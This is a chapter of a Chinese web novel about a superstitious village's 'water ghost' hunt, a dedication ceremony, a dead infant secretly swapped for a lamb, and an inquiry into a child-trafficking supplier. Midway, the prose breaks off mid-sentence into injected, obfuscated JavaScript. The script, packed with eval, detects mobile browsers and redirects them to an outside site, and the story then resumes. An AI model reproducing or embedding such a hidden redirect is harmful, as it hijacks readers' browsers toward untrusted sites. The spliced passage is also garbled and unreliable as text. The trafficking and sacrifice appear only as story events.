我看到那女人眼里发出期许的光芒,便由万金花召来的两个小孩一左一右搀扶着去了文慧菩萨那里上香。那女人高高兴兴地回到车里,不一会儿就从驾驶座的窗户里飞出粉色的票子,大奔驰呜呜地喷了捡票子的人一脸车尾气,让他们的牙齿在灰黑的脸庞衬托下显得格外白净。 万金花将她的笑脸一直保持到大奔驰的车尾灯也消失在明月庄的尽头,转眼她就恢复了自己作为神婆子该有的威严,她的上手交握放在身前,对刚才负责搀扶卷发女人的两个小孩做了一个手势,这两个小跟班就蹦跳着去为她取来庆祝仪式所需要的行头。 “你们别以为今天喜气洋洋就可以高枕无忧了,一会儿抓水鬼的时候都小心着点儿,上了身我也保不了你!”神婆子今天要做两件事:抓水鬼和主持庆典,盘踞在明月庄的水鬼传闻将会在今天终结,成为基座落成庆典上一道开胃的甜点。 我们知道一场盛大的仪式不可避免,也就意味着李春生要渡过难熬的一天。不过他今天看起来状态没有以前那么糟糕,我按照他说的让孟明达在面包车里备好了几箩筐的鲜鱼,从一条杂草丛生的小路钻进庄子里等着,他对这样的安排颇有怨言:“哎呀来哥呀,这鱼活着腥,死了更腥,我闻久了就想吐,你们手脚能不能利索点儿?” “那你让万金花挑个更早的良辰吉时去吧。”我说。 大约再过三个小时,登临塔那边的庆祝仪式就会准时开始,这是神婆子精心测算出来最合适的好时辰。按照李春生的设想,三个小时以后仪式的流程就会开始运转,季有兰会成为水鬼事件的牺牲品。不过今天,在慧慧、孟明达还有季青山的配合下,这会成为季有兰离开明月庄的契机。 当我问起李春生他怎么确定季有兰会成为“水鬼”时,他解释道:“他们不会让季有兰以现在的状态在明月庄生活一辈子的,从咒杀的猜疑出现的那一刻起,季有兰在他们眼里就不再是个人了。抓水鬼,多合适的机会,让一个曾渴望杀死丈夫,背叛家庭关系的女人永远消失。” 神婆子总要证明自己的能力不减当年,明月庄也不缺倒霉蛋。他停顿了一会儿,身体上如约而至的疼痛让他皱起眉,再开口时他的声音就轻了很多,“还有,季有兰家门口轮换的看守,昨天都去了万金花那里……肯定是交代了什么任务。” 这让我有些疑惑,按理说,李春生应当可以通过万金花家柜子上摆放的神像,看到并听到那里发生的一切。我还没来得及问,李春生就有点站不住,他一阵一阵地发虚汗,我扶他坐下,点燃一张黄符纸把灰盛在一只我珍藏多年的白瓷茶杯里,我把符纸上的咒文沿着杯口抹了一圈,那缓缓升起的灰烟李春生闻了就能好受些。 忽然他抬起头来望着门外对我说道:“我得走了,小白菜把金铃儿叫出了家门往河边去。”我还没有开口说什么李春生就已经起身走到了门外。 “你做的事很危险,小白菜可没什么好心思,他恐怕在怀疑你的动机。” 我听到李春生的声音表现出前所未有的坚定,甚至潜藏了一丝兴奋的味道,“李月来,我需要他怀疑我。你知道的,他的怀疑是我计划的一部分,这始终在我的掌控之中。但金铃儿不能为此而受伤。”他重复了一遍,像是在确认自己的决定,“不能。” “他很有可能是故意要引你过去。” “他就是这么想的,我很清楚,李月来。”李春生说道:“我要过去。现在你……” “我会去找季青山。在合适的时候让他出手,引开门口看守那些人的目光。也会告知慧慧,先带走小潭。季有兰跑不快,我会背着她逃。”到此为止,我已然明白对李春生的一切挽留都是徒劳,他决定的一切必然要发生。既然如此,我能做的就是从他面前让开,转到他的身后去推一把。明白这一事实的一瞬成了我漫长生命中的一个死结,它像是重感冒时咽喉的疼痛,每一次回望就是一次吞咽,让人难以忍受。 我想起李春生曾与我认真地探讨过人生是什么东西,我想人生是告别,告别过去的自己,告别熟识的世界,才能进入新的生活。然而作为燃灯星君的我自己,在日复一日的迎来送往中,却从未真正体会过告别,因为这些人的离开对我而言没有任何特殊的意义,他们到来然后消失,这不是告别,这只是千万次经过,我永远站在清溪河缓缓的水流边等待着下一个人的出现。而唯有这一刻,当我不再试图阻止李春生的道路,我才终于经历了真正的离别。他头也不回地往东边走去,我蹲下身去抚摸大地的心跳,回应我的只有一片寂静,于是我转身而去,从此与他背道而驰。 李春生扶着明月庄标志性的灰白墙壁往小白菜和金铃儿的方向赶的时候,他眼中看到的景象错乱模糊,随着他的脚步逐渐往东边接近,人们在万金花的主持下集体吟唱的请神号子也传到他的耳朵里。李春生在这些恼人的声音中与银铃儿迎面碰上,她从一个狭窄的弄堂里无声地蹿出来,倒把她自己吓了一跳:“呀!春生老师,是你呀。” “银铃儿?你去哪儿了?怎么没和你姐姐在一块儿?” 这个姑娘显然有着满怀的心事,面对李春生的疑问,她立马环顾四周确定没有人在盯着他们后,就继续躲在来时的小巷里对李春生说:“春生老师,我在准备仪式的仓库里,发现了一个死婴。” “死……什么?咳咳咳……”李春生没能把话说完就控制不住地咳嗽起来,这让银铃儿想起了那个火光冲天的夜晚,李春生在吐出鲜血之后也是这样骇人地咳嗽着。 在银铃儿爬进仓库之前,我名义上的父亲李有福正带着他赖以为生的杀猪手艺在庄子边缘游荡,他油腻的皮革围裙今天被清洗得干净,吱嘎作响的三轮车被他缓慢地推到更靠近大路的地方。随后李有福就开始只身往东边赶。 银铃儿遇着李有福的时候,他距离仓库已经只剩下百来米。他畏缩着自己高大的身躯,像一条做错事的狗,还时常观察着周身的环境,令人不得不怀疑他的动机不纯。 也许从某个角度上来说的确不纯吧。李有福在望见银铃儿的时候心里一颤,这一颤很快转化为躯体上的退让,他双手合十对着这个姑娘辩解道:“不是故意的,我今天还没动刀,手上没有血,干净的!” “有福叔。”银铃儿说:“有福叔,我和他们不一样,我才不管那些呢。你要找什么?我帮你找。” “银,小银子。”李有福是个别人说什么他就会信什么的人,“不麻烦你,我自己找。” “有福叔!”银铃儿一眼就看出来李有福要往仓库那边走,“那边周围人多,他们看见了你会把你赶出去,也会发现我偷偷放你过来,你自个儿找才是麻烦我呢!” 李有福被银铃儿说的慌了神,他知道自己屠户的身份在明月庄总是不受欢迎,人们都说他的手上沾满了动物的血,是不干净也不吉利的人,和他接触久了就会染上肮脏的血气,事事都要倒霉。而类似的请神拜神仪式,除了宴席上要用到的鸡鸭猪羊肉经过他的手来宰杀,李有福本人是不被允许接近的,更别提现在他要到庆典的核心区域去。 “小银子,有个小孩,小孩在那里。”李有福颤巍巍地说道。 “什么小孩?你是说仓库里有小孩?” “有的,有个瘸子带来的,还用布包着,很小,哭起来像小猫叫,在仓库里,我看见了。” 银铃儿身上一阵汗毛倒竖,要这个小孩子来做什么呀,登临塔是上千年来头一回倒塌,也是头一回重建,谁都不知道这庆祝的仪式神婆子要如何安排。但不管怎么说,在这种时候出现的小孩只有一种可能——庆典上的祭品。于是当初让小毛蛋丧了命的拜神大会海市蜃楼般出现在银铃儿目光所及的天空上,她说道:“小孩,那他会死的!” 李有福连连摆手,“不要死,我想养他。” “养?怎么养?” “养孩子,把他养大。”李有福回答道。 银铃儿用两秒钟思考了这样做的可能性并质疑道:“你是想把孩子偷出来,然后带回家去?那他们必然要发现小孩不见了,要闹得鸡飞狗跳,把明月庄翻个底朝天。”她提出了一个方案,“有福叔,他们又要害人,我看不惯。我帮你。” “你帮我,会害了你。” “有福叔,你瞧好吧,我有办法让他们闭嘴的!” 而当身手矫健的银铃儿避开人群从仓库的窗户翻身进去之后,事情却和她想象的有些偏差:那襁褓里的婴儿躺在地上,早就浑身冰凉僵硬,成了一根不会动的柴火棍。 死婴的事情让李春生感到天旋地转,他忽然觉得自己过去的八百多年岁月都像是柴火棍上未尽的灰烟,无用缥缈又难以自保,风吹一吹就灭了。他的胸口发起一阵恶心,但他确信并不是呕吐的前兆,此刻他必须赶紧前去金铃儿的身边。 “春生老师!”银铃儿的声音和煦地响起来:“你要是有急事你快去吧,我是有办法的,你相信我!”她说罢就甩开腿沿着大路跑远,一边跑一边扭过身子来朝着李春生挥手喊道:“你相信我——!” 银铃儿不知道,她无需向李春生申 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063031|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请信任,她和姐姐很早就在历史老师这里拥有了一切。李春生在同一天第二次与人背向而行。 他要寻找的两人正一前一后站在河岸上,小白菜打着赤脚立在淤泥当中,脚趾头缝里都蓄着青草与黑泥,他的手掌紧紧攥着什么东西而憋得通红。 金铃儿在他的背后,对弟弟的行为疑惑不解。她方才正被万金花叫着去清点典礼上的用品是否齐全,半路上就被小白菜神秘兮兮地叫走,只能拜托银铃儿代行母亲的命令。 “白菜!你站在那儿做什么?到底为了什么事?” 小白菜开口道:“我的好姐姐,你知道钩弋夫人的故事吗?” 金铃儿自然是知道的,李春生在课上已经讲述过这个故事。她只是不明白小白菜提起钩弋夫人的意图是什么。“你又不是刘弗陵,妈手里也没玉钩,你要做皇帝,咱们庄子也没有那个条件!” “你说错了,姐姐。”小白菜回过身来对金铃儿呲着牙,“我才不做昭帝呢,我要做的只有四个字罢了,那就是——去、母、留、子。”他把手中握着的东西展示给金铃儿,是一金一银的两个铃铛。金铃儿当然知道这是什么东西,这是万金花在姐妹俩满月的时候弄来的,平时就拴在她们的床头。 “你拿这个做什么!”金铃儿拎起裤脚就往泥巴上踩,“你是不是又在发烧说胡话了,去什么母留什么子?” 小白菜一边往后退开一边说道:“嘿嘿嘿嘿嘿……姐姐,我看你还算可造之材才愿意告诉你的,不像那个银铃儿,以后肯定是明月庄的祸害。姐姐,我心胸宽广,原谅你之前的行为。” “你一定是又烧起来了。别再退后了,你要掉到河里去了!” 他高举着铃铛一直走到芦苇摇曳的地方,河水已经能够触摸他的脚面,他将铃铛晃出叮铃叮铃的声响,“姐姐!你难道没有觉得命运不公?为什么你作为神婆子的长女却处处被她忽视,为什么我们亲爱的妈妈在看到我受伤后的第一反应是挽回她自己的脸面。姐姐!我现在是半个废人了,但是我心有不甘,我已经明白了在明月庄生存的一切规律,那就是信仰,谁把握了信仰,谁就是这里的主人。” 说实在的,金铃儿对小白菜口中的“信仰”和“主人”之类的东西毫不在意,自从目睹了小毛蛋的悲剧之后,这个姑娘就已经知道自己生活的地方是块死地。直面死亡提前带走了她日后所有的颤栗,当银铃儿挤进人群与他们辩论的时候,金铃儿都站在一旁把每个登场的人都看了个彻底。这让她更加了解明月庄可悲的本质,对自己的故土失望了。 “什么主人仆人,百年后都是黄土一抔。”金铃儿说着,也站到了和小白菜一样的位置,河水哗啦啦打湿了她的布鞋,“净说没用的,水里多凉,快上去。” 小白菜脸上的微笑瞬间消失,他咬着牙恶狠狠地说道:“姐姐,你错了。如果我们都是一样的人,那我在开蒙之日见到的算什么,保胎仙娘娘,燃灯星君,吉祥天师他们三位是为什么要共同赐福于我,而不是你们?我们亲爱的妈妈在生下我之前梦到的金白菜又算什么?姐姐,我和你们就是不一样的,但这里的人都是有眼无珠的蠢货包括我们的母亲,他们表面毕恭毕敬但到了我有难的时候都只想看我的笑话!只有你还算公平,姐姐。” 金铃儿轻蔑地笑了笑,“好弟弟,看来你还跟着老师有的学呢。你听了古代历史的课,学到了那时人分三六九等,却没学到水可覆舟,人的历史是人写的,神的形象也是人造的,你说的信仰归根到底也是人想象出来的东西罢了。” 听到这里,小白菜放松了牙关,忽然歪着头对金铃儿笑着说道:“没关系,姐姐。那我会证明信仰是实实在在的东西,因为在不久的将来,我就会成为你们的信仰。”他说罢就将手上的铃铛掷出,看着抛物线落入清溪河的中央。 “呀!”金铃儿伸长胳膊去够也是徒劳,而小白菜这时候却伸出他因为充血而通红的手,一把将金铃儿推下了水。她顿时感到自己掉进了一堆棉花里,脚下能隐隐地感受到泥巴地的触感,一踩下去却全是空的,她想要浮上来呼吸,河面却像塑料薄膜般罩住了她的脑袋,她看到铃铛在水下依旧发出银色的亮光,渐渐地离她越来越远了。而此时金铃儿隔着水面看到头顶有个被天光勾勒出的人影,声音却完全听不清,那人影为她撕开了河面的薄膜,明月庄带着点儿腥味儿的空气终于又回到她的肺里。在来人的怀里失去意识之前,金铃儿迷迷糊糊地念了一句:“天……天师?” 李春生站在河水中,水面刚好没过他小腿的地方,小白菜正对他的到来感到欣喜,“嘿嘿嘿嘿嘿……春生老师,你真准时。” “小白菜,你可真会挑时间。”李春生对他说。 “诶嘿嘿嘿嘿嘿……春生老师,我可不只会挑时间呢,我还很会挑人。你猜猜,我挑的是什么?” “什么?” 小白菜扬起他骄傲的头颅,“没关系,你以后就知道了。现在,你该想想自己怎么脱身。”说罢,他的身子就往后一仰,扑通一声竟把自己也抛入水中。紧接着入水声的是沿着堤岸而来的杂乱的脚步声,这些人循着万金花在登临塔基座前做的法事指引而来,其中一个领队的指着李春生的背影兴奋地喊道:“哈哈!抓到了!水鬼!在这儿呢!”他对准天空打响一支尖叫的礼花,宣告他们的胜利。 原来神婆子为落成仪式准备的开场礼就是占卜水鬼的方位,她把符纸浸泡在水盆里,一柄刷子蘸了水刷刷地甩。她蹲下去,查看水渍在地上的痕迹,就像数千年前的人查看龟甲灼烧的花纹,然后对着众人宣布道:“你们沿着清溪河去找,肯定能找着!” 此时此刻东边的天师庙当中则还有一只沉默的棕色瓷瓮,李小潭蜷缩在瓷瓮里,耐心地遵守着明月庄的孩子与生俱来的特质:忍耐。 比慧慧的声音更先抵达的却是一种清脆的碎裂声,这让小潭想到了剥豆荚——困着她的“豆荚”确实破裂了,一股莫名的力量将瓷瓮裁割成透光的立体拼图,令她这颗小豆子能够向外伸出嫩芽。 “哗啦!” 瓷瓮应声从内部破裂了,小豆子终于来到阳光下。 “小潭!”慧慧赶到了庙门口,“走,跟我走!”她们在明月庄错综复杂的道路上飞奔,绕过熙攘的人流,绕过随处可见的神像,也绕过所有牲畜的眼睛。 “慧慧姐,我们去哪里?” “去美好明天!去大千世界!” 等到我眼瞧着季青山灵巧地将他修长的四肢藏进清溪河最茂盛的芦苇丛里,就听到我的身后有人打了两下响指,是慧慧,“李月来,我完成了,季有兰这里怎么样?都说好了吗?” “好了,等万金花那边放完三声鞭炮就开始。” 我朝孟明达的方向做了个手势让他做好准备,顺便问道:“鱼很多,要帮忙吗?”慧慧带些气恼地拧了一下我的胳膊:“还问,你不搭把手我就把死鱼塞你嘴里。” 解决完鱼的问题之后,慧慧又继续履行她的职责,她挎着竹篮急匆匆地往东边去,在路过季有兰的家门口时拍了拍坐在地上嗑瓜子的男人说道:“大哥!你看那边!” “啊?”男人迷离着眼睛,从百无聊赖的看守时间中脱离出来。 “我听说了,神婆子找水鬼呢,小白菜也在,好热闹嘞。你们帮我听听,他们说啥呢?” 一时间看守的几个都围到了门口,伸长脖子去围观河边的热闹,在慧慧的撺掇下只剩下一个瘸腿的留守,其余的都去给自己争一个英勇冲锋的好名头。而这瘸子刚把头缩回来,眼前就一片漆黑,慧慧看着我从屋顶翻进院落,用一只铁桶罩住瘸子的头,再用榔头把它当铜钟敲,“咚”地一声,瘸子就在眩晕中倒地,成了墙外一滩贪睡的烂泥。 仓库里红色绒布包裹好的祭品在神婆子的呼号下被人抬出,她登上十八瓣莲花造型的圆台上,挥舞手中一代一代传承下来的宝剑,从左到右依次指向台前整齐排列的三支鞭炮筒,“点吧。” 第一声鞭炮炸响,伴随着耳中的嗡鸣声,李春生把涌到咽喉的血咽了回去,有人怒吼着朝他扔出石块,李春生立马就知道了小白菜是什么意思——这是一个考验。他朝着在浅水中悠闲扑腾的小白菜说道:“如果今天他们认定我就是水鬼的源头,那就是你母亲万金花的头等功,小白菜,你泡在水里,是想继续坐实我的罪名吗?” 第二声鞭炮炸响,小白菜停止他在水中的动作,他身上的高热见缝插针地发作起来,在水面上升起一层白雾,他从水中探出脑袋时的眼神既兴奋又慌张,他浑身颤抖注视着李春生平静的双眼。李春生又说:“小白菜,我们才是共同体。”很快,小白菜就在二人的博弈中落了下风,“你很聪明,春生老师,算你赢了。” 第三声鞭炮炸响,李春生在小白菜从水中爬向人群的同时支撑不住自己的身体跪倒在水中,他将金铃儿往自己怀里拢并终于吐出了淤积在胸口的血,河水从不停歇,很快就将血液稀释。小白菜在他的背后吼道:“蠢货!一群蠢货!找错地方了!你们所说的水鬼,是我?还是我的姐姐?还是将我们从水中救起的恩人?!” 砰! 第四声。 怎么会有第四声呢?响声本该在第三次响起时就停止的,包括小白菜在内的人们纷纷寻找这多余声响的来源——在更远的河面上,炸起的水花还没有完全落下,芦苇丛歪倒在各个方向。同时慧慧从拐角处季有兰居住的房屋中跑出,冲着满怀疑惑的人们喊道:“诶呀!不见了!人不见了!” 圆台上的神婆子开始围绕着红布祭品念经,拿着工具的人们把眼睛聚拢在季有兰家的院墙外,河水将李春生和小白菜的联系为一体,六岁的孩子背对着老师说道:“春生老师,看来你的确很了解我。你通过了我的考验,放心吧,以后在明月庄,只有我有资格取你的性命。” 东边,“万象更新,万物汇生,万事有依,上询天意,下达众民,重修高塔,福祐千秋!”神婆子摇响手中的铃铛,在红布包裹的祭品正上方点了三下,随后拿出她精巧的小锤子,掀开了包裹贡品的红布,与一只死去多时的羔羊崽子乌黑的瞳孔四目相对。 从季有兰家破败的围墙中,流水顺着地势汩汩而出,在场的所有人都见到了这奇异的景象:水源源不断地从里屋流出,季有兰的身影已然消失,鲜鱼和死鱼夹杂着铺满了黄土地面,鱼鳃翕动着进行生命最后的呼吸,它们的身子在地上高速弹起又落下,弹奏着大地的脉搏。 24.水深危险 银铃儿在埋葬死婴的时候开始庆幸自己和姐姐一样有一双矫健的双腿,让她能来得及把死去的羊羔放进去调换这个可怜的孩子,但她也知道这样做不会带来一劳永逸的结局,只要神婆子还站在这里,明月庄就仍然需要祭祀,而只要吉祥天师的信仰仍然存在,神婆子就永远不会消失。就像小白菜说的那样,可以是女人,也可以是男人,甚至可以不是人,这个位置是随着明月庄的历史演变出来的工具,谁都可以使用它,关键看谁用得更好。 银铃儿把死孩子放进土坑里,她额头上的汗啪嗒啪嗒地落到地上像是在浇花,她想起了姐姐的肋骨轮廓,与春耕时犁好的田垄十分类似,它们整齐而富有蓬勃的生命力,天然地保持着温暖让人想要拥抱它。然而自己手上捧着的却是一个和生命二字毫不相干的干瘪死婴。 “月亮爬上呐小山岗,我把歌谣呐唱一唱,船上的星星摇摇晃,屋里的人儿静悄悄,别把心事呐放心上,快快睡下呐好梦长……” 这是银铃儿和金铃儿像小白菜那么大的时候万金花给她们唱的摇篮曲,相传这首曲子早已有了百年的历史,银铃儿一边唱着,一边埋上土坑,在上面盖好一层厚厚的草,从口袋里掏出几颗从贡品桌上摸来的炒栗子放在上面拜了拜。 银铃儿很快便看到一辆面包车摇晃着车厢驶出了明月庄,她认得这辆车,知道它也时常摇晃着来到中学送货,车后备箱里不断有水淌出标记着它的路线。李有福的声音从背后响起来:“小银,没人来,没事了。” “你这时候知道没事,早些怎么不想想真抱来了怎么养,那是你能养的吗?到时候全家都陪你遭殃!” 李有福的身后跟着一个身材高挑的女人,她斥责李有福不合时宜的善心,还给银铃儿赔了笑。她是李有福养大的第二个孩子,取名李月儒,自从我离开家搬到中学后面的小房子里,李月儒就接替我成了家里的话事人。她对银铃儿偷天换日的手法感到好奇,“小银,你确定这样能行?我总觉得不靠谱。” “月儒姐,你不知道,我也看过我妈手里的书,上面写了,婴孩的脑门有缝,牲畜的气容易从脑门缝里钻进去,钻得久了就会变成牲畜的样子,所以小孩都要护着头,戴帽子。等他们发现仓库里是牲畜的崽子,那就是神婆子和她的人失职,没有护好他的脑门。他们的脸皮都是纸糊的,一戳就破,必定不会把事情闹大!”银铃儿解释道。 李月儒点点头,稍微放下心来,李有福在她身后摸索着口袋又掏出两颗话梅糖来,“小银拿着吧,谢谢你。” “你的善心也该分给自家人一些了!” 李有福呵呵地笑着,他今天的屠宰任务还远远没有完成,当他在李月儒的搀扶下步履蹒跚地要回去接着工作时,七妹妹李月昭跑来宣布最新的情报:“金铃儿掉水里啦!季有兰不见啦!河边的人在抓水鬼!小孩变成了羔羊崽!” 我们伟大的神婆子已经因为这羔羊崽一天一夜没有合眼,昨日的庆典是如何结束的她已经回想不起来,或许根本就没能开始,也就谈不上结束。死掉的羔羊仍然包裹着红布盛放在她的家里,羊头已经因为与地面的撞击而开裂流出脑浆,现在也依然干涸,只有那双漆黑的眼睛仍然张开着,注视着万金花迫使她尽快给出解释。 李得彩终于从他的土堆里站起了身,拿扫帚柄阻挡想要走得更近的人们,“脚往哪儿站!这是我家!你们围在这里,我都没法做塑像啦!” “万婆子问完没有啊!都一天了,到底是怎么回事儿?” “天师生气了,天师生气了,我们恐怕都要完了呀!” 李得彩把他的古巴烟斗往门上重重地磕了三下,“哭哭啼啼!完了算了!没事儿也被你们说成了大事儿!好事儿也被你们说成了坏事儿!” 小白菜从一旁的鸡棚里走出来,手上捧着一只尾羽色泽鲜艳的公鸡,“爸爸,爸爸,好好的孩子忽然变成了死羊这件事换谁知道了都会慌张,你不必这样呵斥他们。毕竟在这明月庄里,并不是人人都和我一样,能与仙家通灵传话的。” “你的一张嘴也是能把人说死的,我还没说你跑到河里去泡着干什么呢!” “嘿嘿嘿嘿嘿……”小白菜抱着公鸡面向众人说道:“我呀,当然是帮着妈妈抓水鬼咯。水鬼栖息在水里,我也只有潜入水里才能感受到他的方位呀。更何况事实证明妈妈的判断出现了偏差,他们差点误伤了我的老师,而我的判断准确无误,季有兰,那个狠心咒杀了自己丈夫的女人,也是明月庄水鬼的源头!” 里屋的门“砰”地被打开了,万金花衣衫整齐地站在门口,她挺胸抬头已经完全没有了昨日颓废的样子,“白菜,你不在现场就不要多说!” 她的儿子转过头来看着她笑,这让万金花毛骨悚然,有时候她更希望这个孩子能够开口说话而不是这样沉默地微笑。事与愿违,小白菜什么也没说就抱着公鸡冲出人群跑走了,没有人喊他回来,万金花也不想喊,她走到等待了一天的人们面前,突然泄了气跪到地上,“乡亲们,我是没用的罪人,我向你们道歉。” 这下所有人都慌了神,他们怎么受得起神婆子的一跪,更不知道她的罪名从何谈起。有个胆大的站出来问道:“万婆子,到底是怎么回事儿啊?你跟我们讲讲清楚吧。” 万金花声泪俱下地从衣服里捧出《明月庄千年万代引》,翻到其中一页指着说道:“这上面都说了,三岁前的孩子脑门缝还未长齐,极易瘴气入体,惹人发病。我该死,昨天庄子里杀猪宰羊,畜生的瘴气浓郁,对咱们是没有影响的,但是对这襁褓婴儿影响就大了!畜生的气进了他的脑门缝里,把他本来的灵都赶走了,小孩就会变成那畜生的模样!是我不好,竟然忘了把他的脑袋也用布包好,让哪头死羊的瘴气钻了进去,用小孩的身子变成羔羊企图重生呢!” 她的叙述情感丰沛,以至于有人也跟着她落下了眼泪。旁观的李得彩心里已经清楚,这件事已经不会再对万金花造成实质的影响,他又开始百无聊赖地擦拭古巴烟斗。 万金花又说:“唉!本想重修登临塔,为天师热热闹闹地办个庆典,谁知道因为我出了这档子事,那水鬼又不翼而飞,想来想去都是因为神婆失职啊!各位,我万金花甘愿受罚!”她说着就卷起裤腿,两边小腿的皮肤赫然凸起“无心无眼”“必受惩戒”的痕迹,“从今天开始,我会连续五日去天师庙里诵经,这身衣服就是庙里的擦鞋布,你们尽管来踩,尽管来踏,把我的罪过全部碾碎!” 万金花叽里咕噜地说出大段大段的话,很快就将这件事定性为自己的粗心大意造成的意外,天师并未动怒,天罚也不会落到任何人的头上,只是作为补偿,登临塔要比计划中建造得更加宏伟才行。 在接下来的五日,万金花履行她的诺言,将自己的外衣平铺在东天师庙的门口任人踩踏,自己则在两腿交叠坐在蒲团上闭眼诵经。她偶尔抬起眼皮来瞄一眼面前的神像,觉得它仍与二十多年前一个样子,“你若是真的,又何必有小白菜,让我的后代来毁了我。”夜里万金花手中端着李得彩送来的饭菜,望着吉祥天师的眼睛喃喃地问道。 李得彩在等待万金花进食的间隙把烟斗在门上不间断地叩响,惹得万金花转头骂他:“你要烦死我啊?”这个男人多年来已经能做到对万金花的责骂充耳不闻,他收起烟斗走近来蹲下,夜色掩盖了他嗓音的沙哑,“你说瘴气是怎么来的?” “啊?李得彩,我看你老爹也没有完全说错,你这把脑子,把手艺传到你手上也算是废了一半。”万金花鄙夷地骂道,“怎么来的?天地中诞生出来的,动物牲畜孕育出来的,孤魂野鬼转变来的。” “动物牲畜身上的最浓吗?” 万金花这才觉得李得彩的话里另有深意,“你问这个做什么?” 李得彩往前了几步,把古巴烟斗在手里攥紧,“我知道那天仓库里除了小孩什么也没有,但是杀猪的李有福,那天他偷偷地往仓库那边走呢。他身上血气这么重,会不会就是他把瘴气带过去了?” “不让他碰贡品是对的。”万金花甩下这么一句,便也没再说什么,她口齿不清的诵经声在庙里绵延回荡,李得彩抽了一口烟,拍拍屁股也回了家去。他需要赶回去照看他们脾气古怪的儿子小白菜,即便万金花正逐渐视他为仇敌,李得彩仍旧希望自己能保持一个父亲的权威。 小白菜抱着公鸡逃走以后,就找庄子里的阉鸡匠处理了这只雄鸡的□□,他抓着鸡脖子回到家里,洋洋得意地对李得彩说:“爸爸,你看,现在咱们家里不只我一个啦!”这让李得彩听了瞬间感到两条腿之间一阵凉。为了保护自己的雄性特征不受到侵犯,万金花离开家去诵经的这几日他都与小白菜睡在不同的房间里。 “爸爸,你在害怕吗?”小白菜发着高热赤膊上身问道,那只阉鸡正脾气温顺地蹲在小白菜的床头,成了他的宠物,“你放心吧,我们家里有你一个就够了,就像明月庄也只需要一个神婆子。” 这番话并不足以打消李得彩的顾虑,他继续反锁房门睡在金铃儿和银铃儿的床上。而这对双生子正与慧慧一同在哑巴奶奶的老屋里休息。 在经历了数日的昏迷后,金铃儿终于从溺水中醒来,她睁开羔羊般乌黑的眼睛看着李春生说道:“天……天师。” 李春生把手背放在金铃儿的额头上,“糊涂了?是我啊。” “姐!姐!小白菜那个该死的家伙扔了我的铃铛,还把你推下水,是春生老师把你救上来的,他差点被人当做水鬼抓了!”银铃儿从旁边跳起来,她在这两天当中寸步不离地守着。和她一样守在这里的,除了慧慧,还有季青山。这个长手长脚的少年从木箱子里翻出一条绣了花的毯子,铺在门口打了两天的地铺,他就像个哑巴长工般帮着慧慧做这做那,直到金铃儿睁开了眼睛,他才走过来说了一句:“你饿不饿?我可以做烤鸭子。” “小鬼,她才刚醒,烤鸭子会噎死她的!”季青山的计划遭到慧慧的反对后憨笑着挠了挠头,“那我去烧水,你们今天都没喝水。” “哈哈哈哈哈哈哈……”金铃儿忽然笑了起来,也许是少年的行为挑动起了轻松的氛围,她像一只小鸟一样发出欢快的笑声,“你该烧两壶,一壶用来煮粥,一壶用来泡茶。”季青山竟真的点头打算照做,这下慧慧和李春生还有银铃儿也笑了,少年回过神来也不生气,朝着金铃儿回报了一个羞赧的微笑就拎着水壶走开了。 虽然主观上我很不想打破这难得的和谐氛围,但明月庄的事情总是如同海浪一般连绵不绝。襁褓中的婴儿死去,因为尚未开蒙的缘故,他们的灵与生命一起化为尘土,并不会在母亲河旁等候我来送最后一段路。然而厘清婴孩死亡的前因后果,则是我的分内之事。 我见到麻子的时候已经在那个破败的棚户区里晃荡了好几天,那里又闷又热还随处可见硕大的水蚊子,有个疑似患有精神疾病的老头从早到晚都住着拐杖在角落里蹲着,有时候我从他跟前路过,他还要伸出手来抓我的脚踝。在无数次怀疑李春生给出的位置是否准确之后,一个脸蛋长得像麻球,身材瘦高像竹竿的男人出现在了巷子里。 “这儿蚊子很多。” 他走到我身旁面对着墙壁问道。 我说出暗号:“等月亮升起就好了。” 麻子问我:“要什么货?” “以前要什么这次还要什么。”我说。 麻子听了转过头来上下打量我,好像在菜市场里打量一块猪肉,“庄子的?”得到我肯定的答复后,他领我进了一个没有屋顶的破房子。四面灰墙上用红油漆写满了小广告和“欠债还钱”的字样,顶上十分随意地罩着一块遮雨布,麻子在一处尘土飞扬的角落里问我:“你们上次要货还没多久呢,最近干啥呀?现在查得紧,没那么好弄,我保证不了。” “岁数不管,你保证是活的就行。” “啧。”他从裤兜里掏出一支折了的香烟给我,味道呛人得很,“活的,哪次不是活的?我又不是做死人生意的,说这么晦气的话。” “病的也不行啊。” 麻子的眼神忽然恶狠狠地看着我,脸上的斑块更让他看起来像一头鬣狗,“病个鬼啊!是你们再三再四地要健康没病的,有个小感冒都要给我折一半的价,还敢跟我提这个。”我是没想到他这样的人居然还挺讲究交易的信誉,接着对他说:“那上次是怎么回事儿,病恹恹的哭都不像样,没用上就死了。” “啊?”麻子嘴里的香烟掉了出来,他思考我的话的时候没有吐气,烟雾就从鼻孔里缓缓飘出,“上次?上次根本就没……”他的反应还算快,察觉到我的质问存在漏洞之后拔腿就跑,只可惜他自己选择的这个地点就不是个适合逃跑的地方,我一伸手就抓住了他干柴似的脖颈,拎一只兔子一样将他这把骨头摁在粗糙的灰墙上,麻子立马举起了双手,“我不跑,我不跑了,你是警察?” “这你放心,我不是。” 听到这么一句,麻子又妄图反抗起来,“这儿可不止我一个,把他们叫出来你可就……” “我可就要倒霉了。”我时常觉得在特定场景下人们的反应就像有着共同的剧本,完全可以预测接下来的发展,“你可以试试。但是闹大了引人注意对你有没有好处,我可就不知道了。” 麻子显然泄了气,他开始转向更温和的方式,“你想要啥?” “打听个事儿。”麻子的动脉血管隔着两层皮肤传来清晰的跳动,他的两只胳膊正尴尬地悬在半空不知该放到哪里,汗水和着灰尘使我们的皮肤都逐渐发黏,“你之前的话没说完,上次根本就没什么?” 他直着脖子说道:“我说,上次就没给货啊。” “没给是什么意思?” “好人,好人,你听我说。庄子里要人都是找五六岁的,你应该也知道,但是上次不知怎的就要没满周岁的。我上哪儿找去啊,医院里头我可没这个本事,所以上次的生意其实是没做成的啊咳咳咳咳咳……好人,我喘不过气了……” 